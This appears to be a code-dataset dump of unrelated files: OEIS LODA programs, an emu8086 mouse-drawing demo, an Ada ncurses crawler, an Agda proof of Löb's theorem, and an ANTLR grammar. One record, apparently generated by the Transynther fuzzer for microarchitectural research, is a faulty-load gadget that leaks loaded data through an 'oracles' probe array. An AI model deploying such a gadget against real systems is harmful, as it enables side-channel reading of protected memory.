; 2,8,32,128,512,2048,8192,32768,131072,524288,2097152,8388608,33554432,134217728,536870912,2147483648,8589934592,34359738368,137438953472,549755813888,2199023255552,8796093022208,35184372088832,140737488355328,562949953421312,2251799813685248,9007199254740992
mov $1,4
pow $1,$0
mul $1,2
|
examples/mouse2.asm | AbdulrahmanAbumdas/emu8086 | 287 | 11516 | <filename>examples/mouse2.asm<gh_stars>100-1000
; mouse drawing.
; press left mouse button to draw.
; for a real test click external->run from the emulator's menu.
name "mouse2"
org 100h
jmp start
oldX dw -1
oldY dw 0
start:
mov ah, 00
mov al, 13h ; set screen to 256 colors, 320x200 pixels.
int 10h
; reset mouse and get its status:
mov ax, 0
int 33h
cmp ax, 0
; display mouse cursor:
;mov ax, 1
;int 33h
check_mouse_button:
mov ax, 3
int 33h
shr cx, 1 ; x/2 - in this mode the value of CX is doubled.
cmp bx, 1
jne xor_cursor:
mov al, 1010b ; pixel color
jmp draw_pixel
xor_cursor:
cmp oldX, -1
je not_required
push cx
push dx
mov cx, oldX
mov dx, oldY
mov ah, 0dh ; get pixel.
int 10h
xor al, 1111b ; pixel color
mov ah, 0ch ; set pixel
int 10h
pop dx
pop cx
not_required:
mov ah, 0dh ; get pixel.
int 10h
xor al, 1111b ; pixel color
mov oldX, cx
mov oldY, dx
draw_pixel:
mov ah, 0ch ; set pixel
int 10h
check_esc_key:
mov dl, 255
mov ah, 6
int 21h
cmp al, 27 ; esc?
jne check_mouse_button
stop:
;mov ax, 2 ; hide mouse cursor.
;int 33h
mov ax, 3 ; back to text mode: 80x25
int 10h
; show box-shaped blinking text cursor:
mov ah, 1
mov ch, 0
mov cl, 8
int 10h
mov dx, offset msg
mov ah, 9
int 21h
mov ah, 0
int 16h
ret
msg db " press any key.... $"
|
programs/oeis/141/A141883.asm | neoneye/loda | 22 | 4847 | ; A141883: Primes congruent to 9 mod 20.
; 29,89,109,149,229,269,349,389,409,449,509,569,709,769,809,829,929,1009,1049,1069,1109,1129,1229,1249,1289,1409,1429,1489,1549,1609,1669,1709,1789,1889,1949,2029,2069,2089,2129,2269,2309,2389,2549,2609,2689,2729,2749,2789,2909,2969,3049,3089,3109,3169,3209,3229,3329,3389,3449,3469,3529,3709,3769,3889,3929,3989,4049,4129,4229,4289,4349,4409,4549,4649,4729,4789,4889,4909,4969,5009,5189,5209,5309,5449,5569,5669,5689,5749,5849,5869,6029,6089,6229,6269,6329,6389,6449,6469,6529,6569
mov $2,$0
add $2,2
pow $2,2
lpb $2
add $1,8
sub $2,1
mov $3,$1
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,12
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
lpe
div $1,2
sub $1,22
mul $1,2
add $1,33
mov $0,$1
|
oeis/271/A271859.asm | neoneye/loda-programs | 11 | 80395 | <reponame>neoneye/loda-programs
; A271859: Six steps forward, five steps back.
; Submitted by Jon Maiga
; 0,1,2,3,4,5,6,5,4,3,2,1,2,3,4,5,6,7,6,5,4,3,2,3,4,5,6,7,8,7,6,5,4,3,4,5,6,7,8,9,8,7,6,5,4,5,6,7,8,9,10,9,8,7,6,5,6,7,8,9,10,11,10,9,8,7,6,7,8,9,10,11,12,11,10,9,8,7,8,9,10,11,12,13,12,11,10,9,8,9,10,11,12,13,14,13,12,11,10,9
lpb $0
sub $0,6
add $1,1
add $2,5
trn $2,$0
trn $0,5
add $0,$2
lpe
add $1,$0
mov $0,$1
|
test/asm/macro.asm | xdrie/irre-tools | 1 | 162801 | <gh_stars>1-10
add_to@ rA rB v0 : ; this macro sets rA = rB + v0
set ad v0
add rA rB ad
::
main:
set r1 $0
set r2 $4
add_to r2 r2 $8
|
Src/Ant32/Tests/ant32/basic/01_lc_noex.asm | geoffthorpe/ant-architecture | 0 | 85493 | #
# Copyright 1999-2000 by the President and Fellows of Harvard College.
# See LICENSE.txt for license information.
#
#@ tests lc
# OK
lc r2, $start
cli
ste
rfe r2, r0, r0
start:
lc k3, 15
lc k2, 15
lc k1, 15
lc k0, 15
lc e3, 15
lc e2, 15
lc e1, 15
lc e0, 15
stop
|
Transynther/x86/_processed/AVXALIGN/_st_/i7-8650U_0xd2_notsx.log_73_861.asm | ljhsiun2/medusa | 9 | 10818 | <filename>Transynther/x86/_processed/AVXALIGN/_st_/i7-8650U_0xd2_notsx.log_73_861.asm
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r15
push %r8
lea addresses_WC_ht+0x1c4e4, %r15
add $22615, %r13
mov $0x6162636465666768, %r8
movq %r8, %xmm3
movups %xmm3, (%r15)
nop
nop
nop
nop
nop
and $26058, %r8
pop %r8
pop %r15
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r14
push %r9
push %rcx
push %rdi
push %rdx
// Store
lea addresses_RW+0x817a, %rdi
nop
nop
xor %r11, %r11
movw $0x5152, (%rdi)
nop
and %r9, %r9
// Store
lea addresses_US+0x3f24, %r9
nop
nop
nop
nop
sub $19633, %r10
mov $0x5152535455565758, %r11
movq %r11, %xmm2
vmovups %ymm2, (%r9)
nop
nop
nop
nop
nop
cmp $58466, %r14
// Store
mov $0x8f4, %r9
nop
nop
sub $50404, %r14
movb $0x51, (%r9)
nop
nop
nop
nop
nop
cmp %r11, %r11
// Store
lea addresses_WC+0x1ab0a, %rdi
nop
add $29827, %r11
mov $0x5152535455565758, %r9
movq %r9, (%rdi)
nop
and %rdi, %rdi
// Store
mov $0xa1a, %r10
clflush (%r10)
xor %r9, %r9
movw $0x5152, (%r10)
nop
nop
nop
nop
nop
cmp $13486, %r14
// Faulty Load
lea addresses_WT+0xbf7a, %r9
and $60014, %r10
mov (%r9), %r14d
lea oracles, %rcx
and $0xff, %r14
shlq $12, %r14
mov (%rcx,%r14,1), %r14
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r14
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_P', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_P', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 4, 'AVXalign': True, 'NT': True, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'39': 73}
39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
|
oeis/192/A192921.asm | neoneye/loda-programs | 11 | 17457 | <gh_stars>10-100
; A192921: Constant term in the reduction by (x^2->x+1) of the polynomial p(n,x) defined below at Comments.
; Submitted by <NAME>(s2)
; 1,2,2,7,16,44,113,298,778,2039,5336,13972,36577,95762,250706,656359,1718368,4498748,11777873,30834874,80726746,211345367,553309352,1448582692,3792438721,9928733474,25993761698,68052551623,178163893168,466439127884,1221153490481,3197021343562,8369910540202,21912710277047,57368220290936,150191950595764,393207631496353,1029430943893298,2695085200183538,7055824656657319,18472388769788416,48361341652707932,126611636188335377,331473566912298202,867809064548559226,2271953626733379479
mov $1,2
mov $3,2
lpb $0
sub $0,1
mov $2,$4
mov $4,$1
mov $1,$3
add $1,$2
sub $1,3
sub $4,1
add $3,$4
add $1,$3
add $3,1
lpe
mov $0,$4
add $0,1
|
papers/ALL-star/Quartic.g4 | zspitz/website-antlr4 | 5 | 866 | grammar Quartic;
s : a EOF ;
a : 'x' a a
| 'x' a
| 'x'
;
WS : [ \r\t\n]+ -> skip ;
|
programs/oeis/017/A017649.asm | neoneye/loda | 22 | 26207 | ; A017649: (12n+10)^9.
; 1000000000,1207269217792,60716992766464,922190162669056,7427658739644928,40353607000000000,167619550409708032,572994802228616704,1689478959002692096,4435453859151328768
mul $0,12
add $0,10
pow $0,9
|
internal/modal-logic-lob-reduced.agda | JasonGross/lob | 19 | 12405 | <gh_stars>10-100
module modal-lob-reduced where
data TYP : Set where
ARR : TYP → TYP → TYP -- the type of implications, or function types
BOX : TYP → TYP -- the modal □ operator, denoted to TERM
LӦB-SENTENCE : TYP → TYP -- the Lӧbian sentence "If this sentence is provable, then A"
-- this is the modal fixpoint of λ Ψ. □ Ψ → A
data TERM : TYP → Set where
k : {A : TYP} → TERM A → TERM (BOX A) -- from A, we deduce □ A
distr : {A B : TYP} → TERM (ARR (BOX (ARR A B)) (ARR (BOX A) (BOX B))) -- we deduce □ (A → B) → □ A → □ B
s4 : {A : TYP} → TERM (ARR (BOX A) (BOX (BOX A))) -- we deduce □ A → □ □ A
app : {A B : TYP} → TERM (ARR A B) → TERM A → TERM B -- from A → B, and A, we deduce B
lӧb→ : {A : TYP} → TERM (ARR (LӦB-SENTENCE A) (ARR (BOX (LӦB-SENTENCE A)) A)) -- LӦB-SENTENCE A is Ψ such that Ψ → (□ Ψ → A)
lӧb← : {A : TYP} → TERM (ARR (ARR (BOX (LӦB-SENTENCE A)) A) (LӦB-SENTENCE A)) -- LӦB-SENTENCE A is Ψ such that (□ Ψ → A) → Ψ
compose : {A B C : TYP} → TERM (ARR A B) → TERM (ARR B C) → TERM (ARR A C) -- from A → B and B → C, we deduce A → C
compose2 : {A B C : TYP} → TERM (ARR A B) → TERM (ARR A (ARR B C)) → TERM (ARR A C) -- from A → B and A → B → C, we deduce A → C
⟦_⟧ᵀ : TYP → Set
⟦ ARR A B ⟧ᵀ = ⟦ A ⟧ᵀ → ⟦ B ⟧ᵀ
⟦ BOX T ⟧ᵀ = TERM T
⟦ LӦB-SENTENCE A ⟧ᵀ = TERM (LӦB-SENTENCE A) → ⟦ A ⟧ᵀ
⟦_⟧ᵗ : {T : TYP} → TERM T → ⟦ T ⟧ᵀ
⟦ k e ⟧ᵗ = e
⟦ distr ⟧ᵗ box-a-b box-a = app box-a-b box-a
⟦ s4 ⟧ᵗ = k
⟦ app f x ⟧ᵗ = ⟦ f ⟧ᵗ ⟦ x ⟧ᵗ
⟦ lӧb→ ⟧ᵗ = λ x → x -- this implication is true because on denotation, the two are judgmentally equal
⟦ lӧb← ⟧ᵗ = λ x → x -- this implication is true because on denotation, the two are judgmentally equal
⟦ compose f g ⟧ᵗ = λ x → ⟦ g ⟧ᵗ (⟦ f ⟧ᵗ x)
⟦ compose2 f g ⟧ᵗ = λ x → ⟦ g ⟧ᵗ x (⟦ f ⟧ᵗ x)
Lӧb′s-Theorem : {A : TYP} → TERM (ARR (BOX A) A) → TERM A -- from □ A → A, we deduce A
Lӧb′s-Theorem {A} interp = app prog (k (app lӧb← prog))
where prog : TERM (ARR (BOX (LӦB-SENTENCE A)) A)
prog = compose (compose2 s4 (compose (app distr (k lӧb→)) distr)) interp
|
programs/oeis/113/A113531.asm | neoneye/loda | 22 | 244952 | <filename>programs/oeis/113/A113531.asm
; A113531: a(n) = 1 + 2*n + 3*n^2 + 4*n^3 + 5*n^4 + 6*n^5.
; 1,21,321,2005,7737,22461,54121,114381,219345,390277,654321,1045221,1604041,2379885,3430617,4823581,6636321,8957301,11886625,15536757,20033241,25515421,32137161,40067565,49491697,60611301,73645521,88831621,106425705,126703437,149960761,176514621,206703681,240889045,279454977,322809621,371385721,425641341,486060585,553154317,627460881,709546821,800007601,899468325,1008584457,1128042541,1258560921,1400890461,1555815265,1724153397,1906757601,2104516021,2318352921,2549229405,2798144137,3066134061,3354275121,3663682981,3995513745,4350964677,4731274921,5137726221,5571643641,6034396285,6527398017,7052108181,7610032321,8202722901,8831780025,9498852157,10205636841,10953881421,11745383761,12581992965,13465610097,14398188901,15381736521,16418314221,17510038105,18659079837,19867667361,21138085621,22472677281,23873843445,25344044377,26885800221,28501691721,30194360941,31966511985,33820911717,35760390481,37787842821,39906228201,42118571725,44427964857,46837566141,49350601921,51970367061,54700225665,57543611797
mov $1,$0
mul $0,2
add $0,1
mov $3,$1
mov $4,$1
mov $6,$1
lpb $3
sub $3,1
add $5,$6
lpe
mov $2,3
mov $6,$5
lpb $2
add $0,$6
sub $2,1
lpe
mov $3,$4
mov $5,0
lpb $3
sub $3,1
add $5,$6
lpe
mov $2,4
mov $6,$5
lpb $2
add $0,$6
sub $2,1
lpe
mov $3,$4
mov $5,0
lpb $3
sub $3,1
add $5,$6
lpe
mov $2,5
mov $6,$5
lpb $2
add $0,$6
sub $2,1
lpe
mov $3,$4
mov $5,0
lpb $3
sub $3,1
add $5,$6
lpe
mov $2,6
mov $6,$5
lpb $2
add $0,$6
sub $2,1
lpe
|
matrix/matrix2.als | nishio/learning_alloy | 1 | 6 | <filename>matrix/matrix2.als<gh_stars>1-10
open util/ordering[Col] as cols
open util/ordering[Row] as rows
abstract sig Region {}
sig Col extends Region {
cell: Row -> Cell
}
sig Row extends Region {}
enum Cell { Black, White }
fact {
all c: Col, r: Row | one cell [c, r]
}
run{
#Col = 10
#Row = 10
} for 10 but 5 int
|
hal/gdt.asm | davidepianca98/hoho | 7 | 25266 | ;
; Copyright 2016 <NAME>
;
; Licensed under the Apache License, Version 2.0 (the "License");
; you may not use this file except in compliance with the License.
; You may obtain a copy of the License at
;
; http://www.apache.org/licenses/LICENSE-2.0
;
; Unless required by applicable law or agreed to in writing, software
; distributed under the License is distributed on an "AS IS" BASIS,
; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
; See the License for the specific language governing permissions and
; limitations under the License.
;
global gdt_set
gdt_set:
mov eax, [esp+4]
lgdt [eax]
mov ax, 0x10
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ss, ax
jmp 0x08:.end
.end:
ret
|
Util/llvm/test/FrontendAda/non_bitfield.ads | ianloic/unladen-swallow | 5 | 15321 | <gh_stars>1-10
-- RUN: %llvmgcc -c %s
package Non_Bitfield is
type SP is access String;
type E is (A, B, C);
type T (D : E) is record
case D is
when A => X : Boolean;
when B => Y : SP;
when C => Z : String (1 .. 2);
end case;
end record;
end;
|
oeis/014/A014166.asm | neoneye/loda-programs | 11 | 18108 | <reponame>neoneye/loda-programs
; A014166: Apply partial sum operator 4 times to Fibonacci numbers.
; Submitted by <NAME>
; 0,1,5,16,41,92,189,365,674,1204,2098,3588,6050,10093,16703,27476,44995,73440,119575,194345,315460,511576,829060,1342936,2174596,3520457,5698329,9222440,14924829,24151764,39081553,63238773,102326310,165571628,267905078,433484476,701397990,1134891605,1836299475,2971201740,4807512695,7778726776,12586252715,20364993681,32951261576,53316271472,86267550344,139583840240,225851410184,365435271249,591286703533,956721998208,1548008726545,2504730750988,4052739505253,6557470285501,10610209821610
lpb $0
mov $2,$0
sub $0,1
seq $2,14162 ; Apply partial sum operator thrice to Fibonacci numbers.
add $1,$2
lpe
mov $0,$1
|
libsrc/_DEVELOPMENT/stdlib/c/sccz80/exit.asm | meesokim/z88dk | 0 | 82046 |
; _Noreturn void exit(int status)
SECTION code_stdlib
PUBLIC exit
EXTERN asm_exit
defc exit = asm_exit
|
src/crawler_interface.adb | mulander/crawler | 1 | 18503 | <reponame>mulander/crawler<gh_stars>1-10
-- Copyright (c) 2012, mulander <<EMAIL>>
-- All rights reserved.
-- Use of this source code is governed by a BSD-style license that can be
-- found in the LICENSE file.
with Terminal_Interface.Curses;
package body Crawler_Interface is
overriding procedure Initialize (This : in out Screen)
is
package Curses renames Terminal_Interface.Curses;
Cursor_Visibility : Curses.Cursor_Visibility := Curses.Invisible;
begin
-- Initialize ncurses
Curses.Init_Screen; --initscr;
Curses.Set_NL_Mode; -- (False);
Curses.Clear; --clear;
Curses.Set_Echo_Mode (False);
Curses.Set_Cbreak_Mode (True);
Curses.Set_Keypad_Mode;
Curses.Set_Cursor_Visibility (Cursor_Visibility);
Curses.Get_Size (Number_Of_Lines => This.Height,
Number_Of_Columns => This.Width);
end Initialize;
overriding procedure Finalize (This : in out Screen)
is
package Curses renames Terminal_Interface.Curses;
begin
-- Clear ncurses data structures
Curses.End_Windows;
end Finalize;
procedure Add (This : in Screen;
Str : in String)
is
begin
Curses.Add (Str => Str);
end Add;
function Get_Height(This : in Screen) return Curses.Line_Count
is
begin
return This.Height;
end Get_Height;
function Get_Width(This : in Screen) return Curses.Column_Count
is
begin
return This.Width;
end Get_Width;
-- Frame
procedure Make (This : in out Frame;
Height : Curses.Line_Count;
Width : Curses.Column_Count;
Row : Curses.Line_Position;
Col : Curses.Column_Position)
is
begin
This.Height := Height;
This.Width := Width;
This.Row := Row;
This.Col := Col;
This.Has_Parent_Window := False;
This.Window := Curses.Create(Number_Of_Lines => Height
,Number_Of_Columns => Width
,First_Line_Position => Row
,First_Column_Position => Col);
This.Parent := Curses.Null_Window;
end Make;
procedure Make_Sub_Window (This : in out Frame;
Parent : Frame;
Height : Curses.Line_Count;
Width : Curses.Column_Count;
Row : Curses.Line_Position;
Col : Curses.Column_Position)
is
begin
This.Height := Height;
This.Width := Width;
This.Row := Row;
This.Col := Col;
This.Has_Parent_Window := True;
This.Window := Curses.Derived_Window(Parent.Window,
Number_Of_Lines => Height
,Number_Of_Columns => Width
,First_Line_Position => Row
,First_Column_Position => Col);
This.Parent := Parent.Get_Window;
end Make_Sub_Window;
function Get_Window (This : in Frame) return Curses.Window
is
begin
return This.Window;
end Get_Window;
function Get_Parent_Window (This : in Frame) return Curses.Window
is
begin
return This.Parent;
end Get_Parent_Window;
function Has_Parent_Window (This : in Frame) return Boolean
is
begin
return This.Has_Parent_Window;
end Has_Parent_Window;
function Get_Height (This : in Frame) return Curses.Line_Count
is
begin
return This.Height;
end Get_Height;
function Get_Width (This : in Frame) return Curses.Column_Count
is
begin
return This.Width;
end Get_Width;
function Get_Row (This : in Frame) return Curses.Line_Position
is
begin
return This.Row;
end Get_Row;
function Get_Col (This : in Frame) return Curses.Column_Position
is
begin
return This.Col;
end Get_Col;
procedure Internal_Add (This : in Frame;
Char : in Character;
Row : in Curses.Line_Position;
Col : in Curses.Column_Position)
is
package Entities renames Crawler.Entities;
use type Curses.Line_Position,
Curses.Column_Position;
begin
-- tbd: Fix below to only ignore exception in bottom corner case.
-- Alternately, use 'insert' rather than 'add' for corner case.
-- if Row = This.Height - 1
-- and then Col = This.Width - 1
-- then
-- Curses.Add (Win => This.Window,
-- Line => Row,
-- Column => Col,
-- Ch => Char);
-- else
begin
Curses.Add (Win => This.Window,
Line => Row
,Column => Col
,Ch => Char);
exception
when Curses.Curses_Exception =>
null;
end;
-- end if;
end;
procedure Add (This : in Frame;
Character : in Crawler.Entities.Character)
is
package Entities renames Crawler.Entities;
begin
This.Internal_Add (Char => Entities.Get_Symbol (Character),
Row => Entities.Get_Row (Character),
Col => Entities.Get_Col (Character));
end Add;
procedure Add (This : in Frame;
Character : in out Crawler.Entities.Character;
Row : in Curses.Line_Position;
Col : in Curses.Column_Position)
is
use type Curses.Line_Position;
use type Curses.Column_Position;
package Entities renames Crawler.Entities;
begin
if ((Row >= 0 and then Row < This.Height)
and then (Col >= 0 and then Col < This.Width))
then
This.Erase (Character);
This.Internal_Add (Char => Entities.Get_Symbol (Character),
Row => Row,
Col => Col);
Crawler.Entities.Set_Position (Character, Row => Row, Col => Col);
end if;
end Add;
procedure Center(This : in out Frame;
Character : in Crawler.Entities.Character)
is
begin
if This.Has_Parent_Window
then
declare
package Curses renames Terminal_Interface.Curses;
use type Curses.Line_Position;
use type Curses.Column_Position;
Parent_Lines : Curses.Line_Count;
Parent_Columns : Curses.Column_Count;
Row : Curses.Line_Position := This.Row;
R : Integer := Integer (Crawler.Entities.Get_Row (Character) - (This.Height/2));
Col : Curses.Column_Position := This.Col;
C : Integer := Integer (Crawler.Entities.Get_Col (Character) - (This.Width/2));
begin
Curses.Get_Size(Win => This.Parent
,Number_Of_Lines => Parent_Lines
,Number_Of_Columns => Parent_Columns);
if C + Integer (This.Width) >= Integer (Parent_Columns)
then
declare
Col_Delta : Integer := Integer (Parent_Columns - (Curses.Column_Position (C) + This.Width));
begin
C := C + Col_Delta;
end;
end if;
if R + Integer (This.Height) >= Integer (Parent_Lines)
then
declare
Row_Delta : Integer := Integer (Parent_Lines - (Curses.Line_Position (R) + This.Height));
begin
R := R + Row_Delta;
end;
end if;
if R < 0 then
Row := 0;
else
Row := Curses.line_Position (R);
end if;
if C < 0 then
Col := 0;
else
Col := Curses.Column_Position (C);
end if;
This.Move (Row => Row, Col => Col);
end;
end if;
end Center;
procedure Fill_Window (This : in out Frame)
is
package Curses renames Terminal_Interface.Curses;
use type Curses.Line_Position;
use type Curses.Column_Position;
Max_Height : Curses.Line_Position := This.Height / 2;
Max_Width : Curses.Column_Position := This.Width / 2;
test : exception;
begin
Terminal_Interface.Curses.Leave_Cursor_After_Update (This.Window);
-- Fill the first region with 0's
for y in 0 .. Max_Height-1
loop
for x in 0 .. Max_Width-1
loop
This.Internal_Add (Char => '0',
Row => y,
Col => x);
end loop;
end loop;
-- Fill the second region with 1's
for y in 0 .. Max_Height-1
loop
for x in Max_Width .. This.Width-1
loop
This.Internal_Add (Char => '1',
Row => y,
Col => x);
end loop;
end loop;
-- Fill the third region with 2's
for y in Max_Height .. This.Height-1
loop
for x in 0 .. This.Width-1
loop
This.Internal_Add (Char => '2',
Row => y,
Col => x);
end loop;
end loop;
-- Fill the fourth region with 3's
for y in Max_Height .. This.Height-1
loop
for x in Max_Width .. This.Width-1
loop
This.Internal_Add (Char => '3',
Row => y,
Col => x);
end loop;
end loop;
for y in 0 .. This.Height-1
loop
This.Internal_Add (Char => '-',
Row => y,
Col => 0);
This.Internal_Add (Char => '-',
Row => y,
Col => This.Width - 1);
end loop;
for x in 0 .. This.Width-1
loop
This.Internal_Add (Char => '|',
Row => 0,
Col => x);
This.Internal_Add (Char => '|',
Row => This.Height - 1,
Col => x);
end loop;
end Fill_Window;
procedure Move (This : in out Frame;
Row : Curses.Line_Position;
Col : Curses.Column_Position)
is
package Curses renames Terminal_Interface.Curses;
begin
if This.Has_Parent_Window
then
Curses.Move_Derived_Window (This.Window, Line => Row, Column => Col);
This.Row := Row;
This.Col := Col;
This.Refresh;
end if;
end Move;
procedure Refresh (This : in out Frame)
is
begin
if This.Has_Parent_Window
then
Curses.Touch (Win => This.Parent);
end if;
Curses.Refresh (Win => This.Window);
end Refresh;
procedure Erase (This : in Frame;
Character : in Crawler.Entities.Character)
is
package Entities renames Crawler.Entities;
begin
This.Internal_Add (Char => ' ',
Row => Entities.Get_Row (Character),
Col => Entities.Get_Col (Character));
end Erase;
overriding
procedure Finalize (This : in out Frame)
is
package Curses renames Terminal_Interface.Curses;
begin
-- Clear ncurses data structures
Curses.Delete(This.Window);
end Finalize;
end Crawler_Interface;
|
tests/nonsmoke/functional/CompileTests/experimental_ada_tests/tests/complex.ads | passlab/rexompiler | 0 | 29817 | <gh_stars>0
package Complex is
type Complex is
record
Re : Float := 0.0;
Im : Float := 0.0;
end record;
I : constant Complex := (0.0, 1.0);
function II return Complex;
end Complex;
|
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_iy/___schar2fs.asm | jpoikela/z88dk | 640 | 85750 | <reponame>jpoikela/z88dk
SECTION code_clib
SECTION code_fp_math48
PUBLIC ___schar2fs
EXTERN cm48_sdcciyp_schar2ds
defc ___schar2fs = cm48_sdcciyp_schar2ds
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.